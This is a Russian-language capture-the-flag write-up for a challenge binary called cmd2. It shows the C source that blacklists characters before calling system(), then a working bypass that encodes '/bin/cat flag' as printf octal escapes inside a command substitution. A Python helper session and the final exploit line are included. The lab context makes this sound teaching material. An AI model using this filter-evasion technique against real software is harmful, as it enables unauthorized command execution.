Это очень интересный вызов. Посмотрите на его исходный код:

int filter(char* cmd){
 int r=0;
 r += strstr(cmd, "=")!=0;
 r += strstr(cmd, "PATH")!=0;
 r += strstr(cmd, "export")!=0;
 r += strstr(cmd, "/")!=0;
 r += strstr(cmd, "`")!=0;
 r += strstr(cmd, "flag")!=0;
 return r;
}
extern char** environ;
void delete_env(){
 char** p;
 for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
 delete_env();
 putenv("PATH=/no_command_execution_until_you_become_a_hacker");
 if(filter(argv[1])) return 0;
 printf("%s\n", argv[1]);
 system( argv[1] );
 return 0;
}

Мы замечаем, что:

  1. Все переменные среды не установлены, а $PATH установлен в несуществующий каталог, что означает, что мы также не можем использовать $SHELL или $PWD и т. д..
  2. Фильтр улучшен, запрещена любая косая черта. Это очень строгий подход, потому что фильтрацию такого слова, как «флаг», довольно легко обойти с помощью простого подстановочного знака, а этот единственный символ — нет. Это буквально запрещает нам использовать путь, либо путь к команде, либо путь к флагу, либо даже текущий каталог…

Здесь не так много вариантов, подумайте: какая команда либо не полагается на $PATH, либо вообще не нуждается в пути? Встроенные команды оболочки!!

С bash вы можете легко найти все встроенные команды по help . Глядя на них, какие из них мы могли бы выбрать?

pwd? Но мы по-прежнему должны использовать косую черту для конкатенации.

source? Хорошо!! Мы могли бы создать собственный сценарий оболочки для установки исходного $PATH, верно? Но проблема в том, что «/bin/sh» — это не bash, а dash, dash не имеет source, но имеет ., который по-прежнему зависит от $PATH или пути, который вы ему указываете… Эх, мы тоже не можем его использовать.

Похоже, нам нужно пройти фильтр косой черты. Посмотрите еще раз на исходный код, он проверяет /, так что, может быть, мы можем передать что-то еще для /? Как насчет его значения ASCII? Как насчет использования echo и printf?

echo легко исключить, потому что echo из дефиса не поддерживает символы обратной косой черты. Мы можем использовать только printf, хотя он поддерживает только восьмеричные числа:

\num    Write an 8-bit character whose ASCII value is the
        1-, 2-, or 3-digit octal number num.

Достаточно. Теперь давайте закодируем командную строку, которую мы хотим выполнить, в восьмеричные числа с помощью python:

$ ~> python   
Python 2.7.13 (default, Mar 22 2017, 12:31:17) [GCC] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> s = "/bin/cat flag"
>>> [str(oct(ord(c))) for c in s]
['057', '0142', '0151', '0156', '057', '0143', '0141', '0164', '040', '0146', '0154', '0141', '0147']
>>> [str(oct(ord(c))).lstrip('0') for c in s]
['57', '142', '151', '156', '57', '143', '141', '164', '40', '146', '154', '141', '147']
>>> [(chr(92) + str(oct(ord(c))).lstrip('0')) for c in s]
['\\57', '\\142', '\\151', '\\156', '\\57', '\\143', '\\141', '\\164', '\\40', '\\146', '\\154', '\\141', '\\147']
>>> "".join([(chr(92) + str(oct(ord(c))).lstrip('0')) for c in s])
'\\57\\142\\151\\156\\57\\143\\141\\164\\40\\146\\154\\141\\147'
>>> print "".join([(chr(92) + str(oct(ord(c))).lstrip('0')) for c in s])
\57\142\151\156\57\143\141\164\40\146\154\141\147

Теперь передайте эту строку восьмеричного числа в cmd2, тщательно позаботившись о двойных и одинарных кавычках:

$ ./cmd2 '$(printf "\57\142\151\156\57\143\141\164\40\146\154\141\147")'

Теперь вы можете увидеть флаг!